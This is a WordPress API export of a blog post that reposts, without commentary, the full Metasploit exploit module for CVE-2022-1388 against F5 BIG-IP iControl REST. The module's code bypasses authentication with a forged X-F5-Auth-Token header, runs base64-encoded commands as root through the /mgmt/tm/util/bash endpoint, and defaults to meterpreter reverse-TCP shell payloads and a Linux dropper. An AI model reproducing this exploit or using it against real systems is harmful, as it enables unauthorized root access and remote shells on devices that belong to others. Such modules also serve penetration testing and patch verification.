{"id":24371,"date":"2022-05-12T21:29:12","date_gmt":"2022-05-12T17:29:12","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167150\/f5_icontrol_rce.rb.txt"},"modified":"2022-05-15T09:37:34","modified_gmt":"2022-05-15T05:07:34","slug":"f5-big-ip-icontrol-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/f5-big-ip-icontrol-remote-code-execution\/","title":{"rendered":"F5 BIG-IP iControl Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">include Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;F5 BIG-IP iControl RCE via REST Authentication Bypass&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module exploits an authentication bypass vulnerability<br \/>\nin the F5 BIG-IP iControl REST service to gain access to the<br \/>\nadmin account, which is capable of executing commands<br \/>\nthrough the \/mgmt\/tm\/util\/bash endpoint.<\/p>\n<p dir=\"ltr\">Successful exploitation results in remote code execution<br \/>\nas the root user.<br \/>\n},<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Heyder Andrade&#8217;, # Metasploit module<br \/>\n&#8216;alt3kx &lt;alt3kx[at]protonmail.com&gt;&#8217;, # PoC<br \/>\n&#8216;James Horseman&#8217;, # Technical Writeup<br \/>\n&#8216;Ron Bowes&#8217; # Documentation of exploitation specifics<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2022-1388&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/support.f5.com\/csp\/article\/K23605346&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/www.horizon3.ai\/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive\/&#8217;], # Writeup<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/alt3kx\/CVE-2022-1388_PoC&#8217;] # PoC<br \/>\n],<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-05-04&#8217;, # Vendor advisory<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64],<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Unix Command&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :unix_cmd,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/python\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Linux Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>\n&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;CMDSTAGER::FLAVOR&#8217; =&gt; :bourne,<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 1, # Linux Dropper avoids some timeout issues that Unix Command payloads sometimes encounter.<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;RPORT&#8217; =&gt; 443,<br \/>\n&#8216;SSL&#8217; =&gt; true,<br \/>\n&#8216;PrependFork&#8217; =&gt; true, # Needed to avoid warnings about timeouts and potential failures across attempts.<br \/>\n&#8216;MeterpreterTryToFork&#8217; =&gt; true # Needed to avoid warnings about timeouts and potential failures across attempts.<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION], # Only one concurrent session<br \/>\n&#8216;SideEffects&#8217; =&gt; [<br \/>\nIOC_IN_LOGS, # \/var\/log\/restjavad.0.log (rotated)<br \/>\nARTIFACTS_ON_DISK # CmdStager<br \/>\n]\n}<br \/>\n)<br \/>\n)<\/p>\n<p dir=\"ltr\">register_options(<br \/>\n[<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to the iControl installation&#8217;, &#8216;\/&#8217;]),<br \/>\nOptString.new(&#8216;HttpUsername&#8217;, [true, &#8216;iControl username&#8217;, &#8216;admin&#8217;]),<br \/>\nOptString.new(&#8216;HttpPassword&#8217;, [true, &#8216;iControl password&#8217;, &#8221;])<br \/>\n]\n)<br \/>\nregister_advanced_options([<br \/>\nOptFloat.new(&#8216;CmdExecTimeout&#8217;, [true, &#8216;Command execution timeout&#8217;, 3.5])<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nprint_status(&#8220;Checking #{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]}&#8221;)<br \/>\nres = send_request_cgi({<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/mgmt\/shared\/authn\/login&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>\n})<\/p>\n<p dir=\"ltr\">return CheckCode::Unknown unless res&amp;.code == 401<\/p>\n<p dir=\"ltr\">body = res.get_json_document<\/p>\n<p dir=\"ltr\">return CheckCode::Safe unless body.key?(&#8216;message&#8217;) &amp;&amp; body[&#8216;kind&#8217;] == &#8216;:resterrorresponse&#8217;<\/p>\n<p dir=\"ltr\">signature = Rex::Text.rand_text_alpha(13)<br \/>\nstub = &#8220;echo #{signature}&#8221;<br \/>\nres = send_command(stub)<br \/>\nreturn CheckCode::Safe unless res&amp;.code == 200<\/p>\n<p dir=\"ltr\">body = res.get_json_document<\/p>\n<p dir=\"ltr\">return CheckCode::Safe unless body[&#8216;kind&#8217;] == &#8216;tm:util:bash:runstate&#8217;<\/p>\n<p dir=\"ltr\">return CheckCode::Vulnerable if body[&#8216;commandResult&#8217;].chomp == signature<\/p>\n<p dir=\"ltr\">CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nprint_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<\/p>\n<p dir=\"ltr\">case target[&#8216;Type&#8217;]\nwhen :unix_cmd<br \/>\nexecute_command(payload.encoded)<br \/>\nwhen :linux_dropper<br \/>\nexecute_cmdstager<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def execute_command(cmd, _opts = {})<br \/>\nvprint_status(&#8220;Executing command: #{cmd}&#8221;)<\/p>\n<p dir=\"ltr\">res = send_command(cmd)<br \/>\nunless res<br \/>\nprint_warning(&#8216;Command execution timed out&#8217;)<br \/>\nreturn<br \/>\nend<\/p>\n<p dir=\"ltr\">json = res.get_json_document<\/p>\n<p dir=\"ltr\">unless res.code == 200 &amp;&amp; json[&#8216;kind&#8217;] == &#8216;tm:util:bash:runstate&#8217;<br \/>\nfail_with(Failure::PayloadFailed, &#8216;Failed to execute command&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">print_good(&#8216;Successfully executed command&#8217;)<\/p>\n<p dir=\"ltr\">return unless (cmd_result = json[&#8216;commandResult&#8217;])<\/p>\n<p dir=\"ltr\">vprint_line(cmd_result)<br \/>\nend<\/p>\n<p dir=\"ltr\">def send_command(cmd)<br \/>\nbash_cmd = &#8220;eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)&#8221;<br \/>\nsend_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/mgmt\/tm\/util\/bash&#8217;),<br \/>\n&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>\n&#8216;authorization&#8217; =&gt; basic_auth(datastore[&#8216;HttpUsername&#8217;], datastore[&#8216;HttpPassword&#8217;]),<br \/>\n&#8216;headers&#8217; =&gt; {<br \/>\n&#8216;Host&#8217; =&gt; &#8216;localhost&#8217;,<br \/>\n&#8216;Connection&#8217; =&gt; &#8216;keep-alive, X-F5-Auth-Token&#8217;,<br \/>\n&#8216;X-F5-Auth-Token&#8217; =&gt; Rex::Text.rand_text_alpha_lower(6)<br \/>\n},<br \/>\n&#8216;data&#8217; =&gt; {<br \/>\n&#8216;command&#8217; =&gt; &#8216;run&#8217;,<br \/>\n&#8216;utilCmdArgs&#8217; =&gt; &#8220;-c &#8216;#{bash_cmd}'&#8221;<br \/>\n}.to_json<br \/>\n}, datastore[&#8216;CmdExecTimeout&#8217;])<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;F5 BIG-IP iControl RCE via REST Authentication Bypass&#8217;, &#8216;Description&#8217; =&gt; %q{ This module exploits an authentication bypass vulnerability in the F5 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-24371","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=24371"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24371\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=24371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=24371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=24371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}